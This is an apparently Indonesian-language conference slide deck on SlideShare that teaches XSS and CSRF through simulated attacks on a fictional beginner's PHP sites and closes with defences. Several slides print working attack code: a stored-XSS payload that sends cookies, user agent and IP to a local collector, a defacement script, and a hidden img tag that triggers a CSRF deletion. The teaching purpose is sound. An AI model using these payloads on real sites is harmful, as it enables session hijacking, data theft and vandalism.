SlideShare a Scribd company logo
1 of 32
Download to read offline
XSS & CSRF
MEMAHAMI SERANGAN
RIO ASTAMAL
Founder BelajarAWS.com
DENGAN SIMULASI STUDI KASUS
30 April 2021 16:30
PHPID-OL#92
https://learning.byphp.id/
RIO ASTAMAL
2020 AWS Community Builder (ID)

2020 Writer TeknoCerdas.com (ID)

2017 Lead Backend @ClearView.team (US)

2016 Founder BelajarAWS.com (ID)

2015 Lead Dev @DominoPOS (SG)

2014 System Engineer @WowRack (US/ID)

2004 Freelance Web Developer
■ Masih aktif hingga sekarang
APA YANG DIPELAJARI?
+ Pengertian XSS dan CSRF

+ Demo simulasi XSS dan CSRF

+ Cara menghindari XSS dan CSRF
beginner - intermediate
APA ITU
CROSS-SITE SCRIPTING (XSS)?
CELAH KEAMANAN YANG
MEMBUAT PENYERANG DAPAT
MENGEKSEKUSI KODE
JAVASCRIPT PADA HALAMAN
YANG DIBUKA OLEH KORBAN.
CROSS SITE SCRIPTING (XSS)
https://example.com/save/?error=invalid%20username
Gambar diambil dari portswigger.net
REFLECTED XSS
https://example.com/product/?id=pid
STORED XSS
https://example.com/product/?id=<script>evil</script>
<label><?php echo $data[‘name’] ?></label>
DOM BASED XSS
elem.innerHTML = $('#mydiv').attr('data-text');
<div id="mydiv" data-text="<script>xss()</script>">
From DB
APA ITU
CROSS-SITE REQUEST FORGERY
(CSRF)?
CELAH KEAMANAN YANG
MEMBUAT KORBAN MELAKUKAN
AKSI PADA SUATU WEBSITE
YANG DIINGINKAN PENYERANG
TANPA KORBAN MENYADARINYA.
CROSS SITE REQUEST FORGERY (CSRF)
Gambar diambil dari portswigger.net
DEMO
XSS & CSRF
SIMULASI SERANGAN AKAN DILAKUKAN PADA WEBSITE
MILIK DARI MAS JOHN
SIAPA MAS JOHN?
DIA ADALAH SEORANG YANG BARU BELAJAR
WEB PROGRAMMING. KEBETULAN DIA
MENGGUNAKAN PHP SEBAGAI BAHASA
PEMROGRAMAN YANG DIGUNAKAN.



KARENA MASIH AWAM, BANYAK ASPEK
KEAMANAN WEB YANG DIA TIDAK KETAHUI
SEHINGGA MENINGGALKAN BANYAK CELAH XSS
DAN CSRF DI WEBSITE YANG DIA BUAT.
SIMULASI #1 - SESSION HIJACKING
MAS JOHN MEMILIKI SEBUAH PERSONAL WEBSITE. PADA
WEBSITE TERSEBUT MAS JOHN MEMBUAT HALAMAN
PORTFOLIO DAN HALAMAN CONTACT US.
PENGUNJUNG DAPAT MENGIRIMKAN PESAN PADA MAS
JOHN PADA HALAMAN CONTACT US. SEMUA PESAN YANG
MASUK DAPAT DILIHAT MAS JOHN DI ADMIN AREA.



KARENA AWAM, MAS JOHN TERLALU NAIF DENGAN TIDAK
MELAKUKAN SANITASI OUTPUT PADA ADMIN AREA KETIKA
MEMUNCULKAN LIST PESAN MASUK JADILAH DIA KORBAN
SERANGAN XSS DAN WEBSITENYA KENA DEFACE OLEH
HACKER TIDAK BERTANGGUNG JAWAB.
MEMULAI SERANGAN XSS KE
PERSONAL WEBSITE MAS JOHN
(1) ANALISA KELEMAHAN
WEBSITE DARI MAS JOHN SANGAT SEDERHANA
DAN TERLIHAT SEPERTI HANYA TERDIRI DARI
SEBUAH HALAMAN SAJA. TIDAK ADA HALAMAN
LAIN SELAIN HOME.
SATU-SATUNYA KEMUNGKINAN KELEMAHAN
YANG ADA ADALAH CONTACT US. ITU PUN JIKA
PESAN YANG MASUK DISIMPAN DALAM
DATABASE. JIKA PESAN MASUK LANGSUNG
DIKIRIMKAN KE EMAIL MAKA SEMAKIN KECIL
KEMUNGKINAN SERANGAN YANG DILAKUKAN.
(2) MENCOBA SERANGAN XSS
SERANGAN XSS AKAN DILAKUKAN PADA FIELD “NAMA”. DIMANA AKAN DITAMBAHKAN
JAVASCRIPT YANG AKAN MENGOLEKSI DATA BERUPA: UA, COOKIE, IP ADDR DAN AKAN
DIKIRIMKAN KE WEBSITE DARI HACKER.
(3) PAYLOAD XSS
Pak Budi Baik<script>
var getTheirIp = function(onDone) {
var ajax = new XMLHttpRequest();
ajax.addEventListener('load', function(e) {
onDone(this.responseText.replace("n", ""));
});
ajax.open('GET', 'https://wtfismyip.com/text');
ajax.send();
};
var postToMe = function(ipAddr) {
var data = {
UA: navigator.userAgent,
Cookie: document.cookie,
URL: location.href,
TheirIP: ipAddr
};
var ajax = new XMLHttpRequest();
var targetUrl = 'http://127.0.0.1:9091/collect/?data=' + JSON.stringify(data);
ajax.open('GET', targetUrl);
ajax.send();
};
getTheirIp( postToMe );
</script>
(4) MENUNGGU KABAR BAIK
SAAT INI YANG DAPAT DILAKUKAN PENYERANG/HACKER ADALAH
MENUNGGU MAS JOHN UNTUK MEMBUKA DAFTAR PESAN YANG
MASUK. (ASUMSI LEWAT ADMIN AREA).
JIKA TERJADI DAN PAYLOAD XSS BERHASIL TEREKSEKUSI MAKA
HACKER MEMILIKI DATA-DATA PENTING DARI ADMIN AREA TERUTAMA
COOKIE YANG DIGUNAKAN OLEH MAS JOHN. COOKIE INILAH YANG
AKAN DIGUNAKAN UNTUK MELAKUKAN SESSION HIJACKING.
(5) MAS JOHN MEMBUKA PESAN
WEBSITE MAS JOHN
MEMILIKI ADMIN AREA YANG
DIGUNAKAN UNTUK
MENGELOLA PORTFOLIO DAN
MENAMPILKAN PESAN YANG
MASUK.
KEBETULAN MAS JOHN
MELIHAT PESAN YANG MASUK
YANG DIKIRIMKAN OLEH
HACKER. APA YANG TERJADI?
(6) HACKER MENDAPATKAN DATA
KETIKA MAS JOHN MEMBUKA PESAN MASUK. OTOMATIS BEBERAPA DATA
DIKIRIMKAN DIBALIK LAYAR OLEH JAVASCRIPT KE WEBSITE HACKER.
TERMASUK COOKIE.
(7) HACKER MELAKUKAN SESSION HIJACKING
DENGAN DATA COOKIE YANG DITERIMA MAKA HACKER MENCOBA MELAKUKAN
SESSION HIJACKING. JIKA MAS JOHN TIDAK MELAKUKAN VERIFIKASI IP
ADDRESS PADA SESSION MAKA SESSION HIJACKING AKAN BERHASIL.
(8) HACKER MENDAPAT AKSES ADMIN
DENGAN MENDAPAT AKSES ADMIN MAKA HACKER BISA MENGUBAH BANYAK HAL DI WEBSITE MAS
JOHN. SALAH SATUNYA ADALAH KONTEN PORTFOLIONYA. BERUNTUNGNYA ITU ADALAH SATUNYA HAL
YANG DAPAT DIUBAH OLEH HACKER. DAN DIA KEMUDIAN MENCOBA MELAKUKAN DEFACE WEBSITE
MAS JOHN MENGGUNAKAN KONTEN PORTFOLIO YANG ADA.
Puisi kita adalah sebuab website kolaborasi tulisan antar seniman
puisi. Pengguna dapat mengirimkan puisi dan memberikan tanggapan pada
setiap puisi yang ada.
<script>
var body = '<div style="text-align:center;margin-top:
100px;"><h2>Hacked by Mas Kher</h2><p>Special thanks to 4L4Y_N4ME.</
p></div>';
document.body.innerHTML = body;
document.body.style.color = 'white';
document.body.style.backgroundColor = '#111111';
</script>
(9) WEBSITE MAS JOHN TER-DEFACE
HASIL DARI INJEKSI SCRIPT
PADA KONTEN PORTFOLIO
MENGHASILKAN TAMPILAN
DENGAN BACKGROUND HITAM.
MESKIPUN SEBENARNYA
HACKER DAPAT MENGHAPUS
ISI DARI PORTFOLIO MAS
JOHN NAMUN DIA
MEMUTUSKAN UNTUK
MELAKUKAN DEFACE SAJA.
PELAJARAN APA YANG BISA DIAMBIL
DARI KASUS WEBSITE MAS JOHN INI?
1. JANGAN PERNAH PERCAYA INPUTAN USER
2. JIKA MULAI PERCAYA INPUTAN USER, PERGI KE #1
3. SELALU SANITASI OUTPUT YANG AKAN DITAMPILKAN MESKIPUN
ITU DARI SUMBER TERCPERCAYA. GUNAKAN FUNGSI HTMLENTITIES() /
HTMLSPECIALCHARS() DENGAN OPSI ENT_QUOTES.
4. SELALU GUNAKAN HTTP ONLY COOKIE YANG DISUPPORT MODERN
BROWSER AGAR COOKIE TIDAK BISA DIAMBIL LEWAT JAVASCRIPT.
5. SELALU CHECK ORIGIN IP DARI SESSION UNTUK MEMPERKECIL
PELUANG SESSION HIJACKING.
SIMULASI #2 - HAPUS PUISI VIA CSRF
MAS JOHN MENDAPAT JOB YAITU MEMBUAT WEBSITE TENTANG
KOMUNITAS PUISI. WEBSITE ITU BERNAMA “PUISI KITA”.
BELAJAR DARI PENGALAMAN XSS SEBELUMNYA KINI MAS JOHN
LEBIH HATI-HATI DALAM MEMBANGUN WEBSITE. SEMUA OUTPUT
DIA SANITASI MENGGUNAKAN FUNGSI HTMLENTITIES().
NAMUN KARENA MEMANG MASIH NEWBIE DIA BELUM PAHAM
TENTANG CELAH CSRF. PADA WEBSITE BARU YAITU PUISI KITA
MESKIPUN SUDAH AMAN DARI XSS TERNYATA WEBSITE ITU BELUM
AMAN DARI SERANGAN CSRF.
CELAH ITU DIMANFAATKAN OLEH MAS KHER SEORANG ANGGOTA
PUISI KITA YANG INGIN MENYINGKIRKAN PUISI MAS BOY SEBAGAI
PUISI TERPOPULER PILIHAN PENGGUNA. SERANGAN INI SUKSES
JIKA PUISI DARI MAS BOY TERHAPUS LEWAT SERANGAN CSRF.
(1) ANALISA KELEMAHAN
INTI DARI SERANGAN INI ADALAH MENGHAPUS PUISI DARI
MAS BOY SEHINGGA TIDAK BISA MENJADI PUISI
TERPOPULER.
KARENA MAS KHER JUGA MERUPAKAN MEMBER PUISI KITA
MAKA DIA MENGANALISA KELEMAHAN DARI METODE HAPUS
PUISI PADA HALAMAN “PUISIKU”.
TERNYATA DIA MENEMUKAN SAAT MELAKUKAN
PENGHAPUSAN PUISI SISTEM TIDAK MENGGUNAKAN CSRF
TOKEN SEHINGGA KETIKA URL HAPUS PUISI TERSEBUT
DIEKSEKUSI OLEH PENGGUNA YANG LOGIN, SISTEM AKAN
MENGANGGAP REQUEST TERSEBUT VALID DAN PUISI AKAN
DIHAPUS.
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
(2) FAKE SITE UNTUK CSRF
SERANGAN CSRF BIASANYA BERHUBUNGAN ERAT DENGAN
SOCIAL ENGINEERING. DIMANA KORBAN DIBAWA KE WEBSITE
KHUSUS AGAR MENGEKSEKUSI URL YANG DITARGET. PADA
WEBSITE “PUISI KITA” URL YANG MENJADI TARGET ADALAH
HAPUS PUISI.
SEKILAS TIDAK ADA YANG ANEH PADA HALAMAN PUISI
TERSEBUT. NAMUN ADA JIKA KODE SUMBER HTML DITAMPILKAN
MAKA ADA SEBUAH TAG <IMG> TAK TERLIHAT YANG SENGAJA
DITEMPATKAN UNTUK MEMANGGIL URL HAPUS PUISI YAITU:
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
ID_PUISI YANG MENJADI TARGET ADALAH ID PUISI MILIK MAS
BOY YANG BERJUDUL “NUSANTARA TERCINTA”.
<img src="http://hostname/
puisiku/?id=HASH&delete"
style="visibility:hidden;">
(3) SOCIAL ENGINEERING
LANGKAH PENTING BERIKUTNYA YANG DILAKUKAN MAS
KHER ADALAH MELAKUKAN SOCIAL ENGINEERING AGAR
MAS BOY DAPAT MENGUNJUNGI FAKE SITE YANG DIBUAT.
MAS KHER BERINISIATIF UNTUK MELAKUKAN
BROADCAST MESSAGE KE WHATSAPP GROUP
“KOMUNITAS PUISI” DIMANA MAS BOY JUGA IKUT
DIDALAMNYA.
TENTU DENGAN HARAPAN MAS BOY AKAN TERTARIK
MEMBACA DAN MEMBUKA FAKE SITE TERSEBUT.
SERANGAN INI SIFATNYA SPEKULATIF, DAN HANYA AKAN
BERHASIL JIKA MAS BOY SEBELUMNYA BELUM LOGOUT
DARI WEBSITE PUISI KITA.
(4) MENUNGGU KABAR BAIK
SETELAH MENYEBAR BROADCAST DI WA GROUP MAKA YANG DILAKUKAN MAS KHER ADALAH
WAIT AND SEE. JIKA MAS BOY MENGUNJUNGI FAKE SITE YANG DIBUAT DAN KONDISI DIA
BELUM LOGOUT DARI WEBSITE “PUISI KITA” MAKA SERANGAN CSRF BERHASIL DILAKUKAN.
KEBERHASILAN TERSEBUT DIINDIKASIKAN DENGAN HILANGNYA PUISI MAS BOY
“NUSANTARA TERCINTA” DARI DAFTAR PUISI POPULER YANG ADA DIHALAMAN DEPAN
WEBSITE “PUISI KITA”.
DAN URUTAN PERTAMA DIGANTIKAN OLEH PUISI MAS KHER BERJUDUL “KEINDAHAN ALAM
INI”.
SERANGAN INI TIDAK BERDAMPAK APAPUN PADA PENGGUNA PUISI KITA LAIN SEPERTI CAK
LONTONG KARENA MAS KHER HANYA MENTARGET SECARA SPESIFIK ID DARI PUISI MAS BOY.
(5) PUISI MAS BOY TERHAPUS
NAMPAKNYA SERANGAN CSRF
YANG DIRANCANG OLEH MAS KHER
BERHASIL. HAL ITU DITANDAI
DENGAN PUISINYA BERTENGGER DI
PUNCAK PUISI TERPOPULER.
PELAJARAN APA YANG BISA DIAMBIL
DARI KASUS WEBSITE PUISI KITA?
1. SELALU GUNAKAN CSRF TOKEN YANG UNIK PADA REQUEST YANG
MENGUBAH SEBUAH DATA. INI ADALAH PERTAHANAN TERPENTING.
2. GUNAKAN HTTP METHOD “POST” UNTUK MELAKUKAN PERUBAHAN
DATA. CSRF LEBIH MUDAH DILAKUKAN PADA “GET” TERLEBIH JIKA
BROWSER YANG DIGUNAKAN TIDAK AMAN.
3. BATASI EXPIRES DARI SESSION DALAM WAKTU TERTENTU SEHINGGA
JIKA USER LUPA LOGOUT MAKA SESSION SUDAH TIDAK VALID.
4. EDUKASI USER UNTUK MELAKUKAN UPGRADE BROWSER KE VERSI
YANG AMAN YAITU MENDUKUNG FITUR SAMESITE COOKIES DAN
SAMEORIGIN.
./END
Rio Astamal
rioastamal
rioastamal.net
rio@rioastamal.net
Gambar icon diambil dari Flaticon.com
Presentasi ini juga dapat dilihat pada rioastamal.net/presentasi/2021/04/
Kode pada presentasi ini dapat dilihat pada github.com/rioastamal-examples/phpid-xss-csrf-simulation/
Simulasi hacking lainnya dapat dicoba di abwh.rioastamal.net

More Related Content

What's hot

AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
Ajin Abraham
 
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAKRekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
Listyowatik (Yanie)
 
Alfresco REST API of the future ... is closer than you think
Alfresco REST API of the future ... is closer than you thinkAlfresco REST API of the future ... is closer than you think
Alfresco REST API of the future ... is closer than you think
J V
 

What's hot (20)

Pertemuan 3 Data Multi Dimensi
Pertemuan 3 Data Multi DimensiPertemuan 3 Data Multi Dimensi
Pertemuan 3 Data Multi Dimensi
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
 
Perancangan sistem informasi berbasis web
Perancangan sistem informasi berbasis webPerancangan sistem informasi berbasis web
Perancangan sistem informasi berbasis web
 
Laporan Konfigurasi Dasar Mikrotik
Laporan Konfigurasi Dasar MikrotikLaporan Konfigurasi Dasar Mikrotik
Laporan Konfigurasi Dasar Mikrotik
 
Virtualisasi & Cloud Computing
Virtualisasi & Cloud ComputingVirtualisasi & Cloud Computing
Virtualisasi & Cloud Computing
 
Dokumen Test Plan
Dokumen Test Plan Dokumen Test Plan
Dokumen Test Plan
 
Pengenalan Framework CodeIgniter
Pengenalan Framework CodeIgniterPengenalan Framework CodeIgniter
Pengenalan Framework CodeIgniter
 
Spring Boot Actuator
Spring Boot ActuatorSpring Boot Actuator
Spring Boot Actuator
 
Spring Web Services: SOAP vs. REST
Spring Web Services: SOAP vs. RESTSpring Web Services: SOAP vs. REST
Spring Web Services: SOAP vs. REST
 
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAKRekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
Rekayasa Perangkat Lunak JAMINAN KUALITAS PERANGKAT LUNAK
 
Seminar proposal skripsi teknik informatika
Seminar proposal skripsi teknik informatikaSeminar proposal skripsi teknik informatika
Seminar proposal skripsi teknik informatika
 
Introduction to SAML 2.0
Introduction to SAML 2.0Introduction to SAML 2.0
Introduction to SAML 2.0
 
Firewall
FirewallFirewall
Firewall
 
Modul Praktikum Sistem Keamanan Jaringan STMIK Bumigora Versi 1.0
Modul Praktikum Sistem Keamanan Jaringan STMIK Bumigora Versi 1.0Modul Praktikum Sistem Keamanan Jaringan STMIK Bumigora Versi 1.0
Modul Praktikum Sistem Keamanan Jaringan STMIK Bumigora Versi 1.0
 
Belajar netbeans java pemula dari 0 sampai mahir
Belajar netbeans java pemula dari 0 sampai mahirBelajar netbeans java pemula dari 0 sampai mahir
Belajar netbeans java pemula dari 0 sampai mahir
 
Alfresco REST API of the future ... is closer than you think
Alfresco REST API of the future ... is closer than you thinkAlfresco REST API of the future ... is closer than you think
Alfresco REST API of the future ... is closer than you think
 
Manajemen Perencanaan Proyek
Manajemen Perencanaan ProyekManajemen Perencanaan Proyek
Manajemen Perencanaan Proyek
 
Sistem Tata Kelola Keamanan Informasi SPBE menggunakan COBIT 2019
Sistem Tata Kelola Keamanan Informasi SPBE menggunakan COBIT 2019   Sistem Tata Kelola Keamanan Informasi SPBE menggunakan COBIT 2019
Sistem Tata Kelola Keamanan Informasi SPBE menggunakan COBIT 2019
 
Rest API Security
Rest API SecurityRest API Security
Rest API Security
 
ISO 27002
ISO 27002ISO 27002
ISO 27002
 

Memahami Serangan XSS dan CSRF dengan Simulasi Studi Kasus

  • 1. XSS & CSRF MEMAHAMI SERANGAN RIO ASTAMAL Founder BelajarAWS.com DENGAN SIMULASI STUDI KASUS 30 April 2021 16:30 PHPID-OL#92 https://learning.byphp.id/
  • 2. RIO ASTAMAL 2020 AWS Community Builder (ID)
 2020 Writer TeknoCerdas.com (ID)
 2017 Lead Backend @ClearView.team (US)
 2016 Founder BelajarAWS.com (ID)
 2015 Lead Dev @DominoPOS (SG)
 2014 System Engineer @WowRack (US/ID)
 2004 Freelance Web Developer ■ Masih aktif hingga sekarang
  • 3. APA YANG DIPELAJARI? + Pengertian XSS dan CSRF
 + Demo simulasi XSS dan CSRF
 + Cara menghindari XSS dan CSRF beginner - intermediate
  • 5. CELAH KEAMANAN YANG MEMBUAT PENYERANG DAPAT MENGEKSEKUSI KODE JAVASCRIPT PADA HALAMAN YANG DIBUKA OLEH KORBAN. CROSS SITE SCRIPTING (XSS) https://example.com/save/?error=invalid%20username Gambar diambil dari portswigger.net
  • 6. REFLECTED XSS https://example.com/product/?id=pid STORED XSS https://example.com/product/?id=<script>evil</script> <label><?php echo $data[‘name’] ?></label> DOM BASED XSS elem.innerHTML = $('#mydiv').attr('data-text'); <div id="mydiv" data-text="<script>xss()</script>"> From DB
  • 7. APA ITU CROSS-SITE REQUEST FORGERY (CSRF)?
  • 8. CELAH KEAMANAN YANG MEMBUAT KORBAN MELAKUKAN AKSI PADA SUATU WEBSITE YANG DIINGINKAN PENYERANG TANPA KORBAN MENYADARINYA. CROSS SITE REQUEST FORGERY (CSRF) Gambar diambil dari portswigger.net
  • 9. DEMO XSS & CSRF SIMULASI SERANGAN AKAN DILAKUKAN PADA WEBSITE MILIK DARI MAS JOHN
  • 10. SIAPA MAS JOHN? DIA ADALAH SEORANG YANG BARU BELAJAR WEB PROGRAMMING. KEBETULAN DIA MENGGUNAKAN PHP SEBAGAI BAHASA PEMROGRAMAN YANG DIGUNAKAN.
 
 KARENA MASIH AWAM, BANYAK ASPEK KEAMANAN WEB YANG DIA TIDAK KETAHUI SEHINGGA MENINGGALKAN BANYAK CELAH XSS DAN CSRF DI WEBSITE YANG DIA BUAT.
  • 11. SIMULASI #1 - SESSION HIJACKING MAS JOHN MEMILIKI SEBUAH PERSONAL WEBSITE. PADA WEBSITE TERSEBUT MAS JOHN MEMBUAT HALAMAN PORTFOLIO DAN HALAMAN CONTACT US. PENGUNJUNG DAPAT MENGIRIMKAN PESAN PADA MAS JOHN PADA HALAMAN CONTACT US. SEMUA PESAN YANG MASUK DAPAT DILIHAT MAS JOHN DI ADMIN AREA.
 
 KARENA AWAM, MAS JOHN TERLALU NAIF DENGAN TIDAK MELAKUKAN SANITASI OUTPUT PADA ADMIN AREA KETIKA MEMUNCULKAN LIST PESAN MASUK JADILAH DIA KORBAN SERANGAN XSS DAN WEBSITENYA KENA DEFACE OLEH HACKER TIDAK BERTANGGUNG JAWAB.
  • 12. MEMULAI SERANGAN XSS KE PERSONAL WEBSITE MAS JOHN
  • 13. (1) ANALISA KELEMAHAN WEBSITE DARI MAS JOHN SANGAT SEDERHANA DAN TERLIHAT SEPERTI HANYA TERDIRI DARI SEBUAH HALAMAN SAJA. TIDAK ADA HALAMAN LAIN SELAIN HOME. SATU-SATUNYA KEMUNGKINAN KELEMAHAN YANG ADA ADALAH CONTACT US. ITU PUN JIKA PESAN YANG MASUK DISIMPAN DALAM DATABASE. JIKA PESAN MASUK LANGSUNG DIKIRIMKAN KE EMAIL MAKA SEMAKIN KECIL KEMUNGKINAN SERANGAN YANG DILAKUKAN.
  • 14. (2) MENCOBA SERANGAN XSS SERANGAN XSS AKAN DILAKUKAN PADA FIELD “NAMA”. DIMANA AKAN DITAMBAHKAN JAVASCRIPT YANG AKAN MENGOLEKSI DATA BERUPA: UA, COOKIE, IP ADDR DAN AKAN DIKIRIMKAN KE WEBSITE DARI HACKER.
  • 15. (3) PAYLOAD XSS Pak Budi Baik<script> var getTheirIp = function(onDone) { var ajax = new XMLHttpRequest(); ajax.addEventListener('load', function(e) { onDone(this.responseText.replace("n", "")); }); ajax.open('GET', 'https://wtfismyip.com/text'); ajax.send(); }; var postToMe = function(ipAddr) { var data = { UA: navigator.userAgent, Cookie: document.cookie, URL: location.href, TheirIP: ipAddr }; var ajax = new XMLHttpRequest(); var targetUrl = 'http://127.0.0.1:9091/collect/?data=' + JSON.stringify(data); ajax.open('GET', targetUrl); ajax.send(); }; getTheirIp( postToMe ); </script>
  • 16. (4) MENUNGGU KABAR BAIK SAAT INI YANG DAPAT DILAKUKAN PENYERANG/HACKER ADALAH MENUNGGU MAS JOHN UNTUK MEMBUKA DAFTAR PESAN YANG MASUK. (ASUMSI LEWAT ADMIN AREA). JIKA TERJADI DAN PAYLOAD XSS BERHASIL TEREKSEKUSI MAKA HACKER MEMILIKI DATA-DATA PENTING DARI ADMIN AREA TERUTAMA COOKIE YANG DIGUNAKAN OLEH MAS JOHN. COOKIE INILAH YANG AKAN DIGUNAKAN UNTUK MELAKUKAN SESSION HIJACKING.
  • 17. (5) MAS JOHN MEMBUKA PESAN WEBSITE MAS JOHN MEMILIKI ADMIN AREA YANG DIGUNAKAN UNTUK MENGELOLA PORTFOLIO DAN MENAMPILKAN PESAN YANG MASUK. KEBETULAN MAS JOHN MELIHAT PESAN YANG MASUK YANG DIKIRIMKAN OLEH HACKER. APA YANG TERJADI?
  • 18. (6) HACKER MENDAPATKAN DATA KETIKA MAS JOHN MEMBUKA PESAN MASUK. OTOMATIS BEBERAPA DATA DIKIRIMKAN DIBALIK LAYAR OLEH JAVASCRIPT KE WEBSITE HACKER. TERMASUK COOKIE.
  • 19. (7) HACKER MELAKUKAN SESSION HIJACKING DENGAN DATA COOKIE YANG DITERIMA MAKA HACKER MENCOBA MELAKUKAN SESSION HIJACKING. JIKA MAS JOHN TIDAK MELAKUKAN VERIFIKASI IP ADDRESS PADA SESSION MAKA SESSION HIJACKING AKAN BERHASIL.
  • 20. (8) HACKER MENDAPAT AKSES ADMIN DENGAN MENDAPAT AKSES ADMIN MAKA HACKER BISA MENGUBAH BANYAK HAL DI WEBSITE MAS JOHN. SALAH SATUNYA ADALAH KONTEN PORTFOLIONYA. BERUNTUNGNYA ITU ADALAH SATUNYA HAL YANG DAPAT DIUBAH OLEH HACKER. DAN DIA KEMUDIAN MENCOBA MELAKUKAN DEFACE WEBSITE MAS JOHN MENGGUNAKAN KONTEN PORTFOLIO YANG ADA. Puisi kita adalah sebuab website kolaborasi tulisan antar seniman puisi. Pengguna dapat mengirimkan puisi dan memberikan tanggapan pada setiap puisi yang ada. <script> var body = '<div style="text-align:center;margin-top: 100px;"><h2>Hacked by Mas Kher</h2><p>Special thanks to 4L4Y_N4ME.</ p></div>'; document.body.innerHTML = body; document.body.style.color = 'white'; document.body.style.backgroundColor = '#111111'; </script>
  • 21. (9) WEBSITE MAS JOHN TER-DEFACE HASIL DARI INJEKSI SCRIPT PADA KONTEN PORTFOLIO MENGHASILKAN TAMPILAN DENGAN BACKGROUND HITAM. MESKIPUN SEBENARNYA HACKER DAPAT MENGHAPUS ISI DARI PORTFOLIO MAS JOHN NAMUN DIA MEMUTUSKAN UNTUK MELAKUKAN DEFACE SAJA.
  • 22. PELAJARAN APA YANG BISA DIAMBIL DARI KASUS WEBSITE MAS JOHN INI?
  • 23. 1. JANGAN PERNAH PERCAYA INPUTAN USER 2. JIKA MULAI PERCAYA INPUTAN USER, PERGI KE #1 3. SELALU SANITASI OUTPUT YANG AKAN DITAMPILKAN MESKIPUN ITU DARI SUMBER TERCPERCAYA. GUNAKAN FUNGSI HTMLENTITIES() / HTMLSPECIALCHARS() DENGAN OPSI ENT_QUOTES. 4. SELALU GUNAKAN HTTP ONLY COOKIE YANG DISUPPORT MODERN BROWSER AGAR COOKIE TIDAK BISA DIAMBIL LEWAT JAVASCRIPT. 5. SELALU CHECK ORIGIN IP DARI SESSION UNTUK MEMPERKECIL PELUANG SESSION HIJACKING.
  • 24. SIMULASI #2 - HAPUS PUISI VIA CSRF MAS JOHN MENDAPAT JOB YAITU MEMBUAT WEBSITE TENTANG KOMUNITAS PUISI. WEBSITE ITU BERNAMA “PUISI KITA”. BELAJAR DARI PENGALAMAN XSS SEBELUMNYA KINI MAS JOHN LEBIH HATI-HATI DALAM MEMBANGUN WEBSITE. SEMUA OUTPUT DIA SANITASI MENGGUNAKAN FUNGSI HTMLENTITIES(). NAMUN KARENA MEMANG MASIH NEWBIE DIA BELUM PAHAM TENTANG CELAH CSRF. PADA WEBSITE BARU YAITU PUISI KITA MESKIPUN SUDAH AMAN DARI XSS TERNYATA WEBSITE ITU BELUM AMAN DARI SERANGAN CSRF. CELAH ITU DIMANFAATKAN OLEH MAS KHER SEORANG ANGGOTA PUISI KITA YANG INGIN MENYINGKIRKAN PUISI MAS BOY SEBAGAI PUISI TERPOPULER PILIHAN PENGGUNA. SERANGAN INI SUKSES JIKA PUISI DARI MAS BOY TERHAPUS LEWAT SERANGAN CSRF.
  • 25. (1) ANALISA KELEMAHAN INTI DARI SERANGAN INI ADALAH MENGHAPUS PUISI DARI MAS BOY SEHINGGA TIDAK BISA MENJADI PUISI TERPOPULER. KARENA MAS KHER JUGA MERUPAKAN MEMBER PUISI KITA MAKA DIA MENGANALISA KELEMAHAN DARI METODE HAPUS PUISI PADA HALAMAN “PUISIKU”. TERNYATA DIA MENEMUKAN SAAT MELAKUKAN PENGHAPUSAN PUISI SISTEM TIDAK MENGGUNAKAN CSRF TOKEN SEHINGGA KETIKA URL HAPUS PUISI TERSEBUT DIEKSEKUSI OLEH PENGGUNA YANG LOGIN, SISTEM AKAN MENGANGGAP REQUEST TERSEBUT VALID DAN PUISI AKAN DIHAPUS. GET /PUISIKU/?ID=<ID_PUISI>&DELETE
  • 26. (2) FAKE SITE UNTUK CSRF SERANGAN CSRF BIASANYA BERHUBUNGAN ERAT DENGAN SOCIAL ENGINEERING. DIMANA KORBAN DIBAWA KE WEBSITE KHUSUS AGAR MENGEKSEKUSI URL YANG DITARGET. PADA WEBSITE “PUISI KITA” URL YANG MENJADI TARGET ADALAH HAPUS PUISI. SEKILAS TIDAK ADA YANG ANEH PADA HALAMAN PUISI TERSEBUT. NAMUN ADA JIKA KODE SUMBER HTML DITAMPILKAN MAKA ADA SEBUAH TAG <IMG> TAK TERLIHAT YANG SENGAJA DITEMPATKAN UNTUK MEMANGGIL URL HAPUS PUISI YAITU: GET /PUISIKU/?ID=<ID_PUISI>&DELETE ID_PUISI YANG MENJADI TARGET ADALAH ID PUISI MILIK MAS BOY YANG BERJUDUL “NUSANTARA TERCINTA”. <img src="http://hostname/ puisiku/?id=HASH&delete" style="visibility:hidden;">
  • 27. (3) SOCIAL ENGINEERING LANGKAH PENTING BERIKUTNYA YANG DILAKUKAN MAS KHER ADALAH MELAKUKAN SOCIAL ENGINEERING AGAR MAS BOY DAPAT MENGUNJUNGI FAKE SITE YANG DIBUAT. MAS KHER BERINISIATIF UNTUK MELAKUKAN BROADCAST MESSAGE KE WHATSAPP GROUP “KOMUNITAS PUISI” DIMANA MAS BOY JUGA IKUT DIDALAMNYA. TENTU DENGAN HARAPAN MAS BOY AKAN TERTARIK MEMBACA DAN MEMBUKA FAKE SITE TERSEBUT. SERANGAN INI SIFATNYA SPEKULATIF, DAN HANYA AKAN BERHASIL JIKA MAS BOY SEBELUMNYA BELUM LOGOUT DARI WEBSITE PUISI KITA.
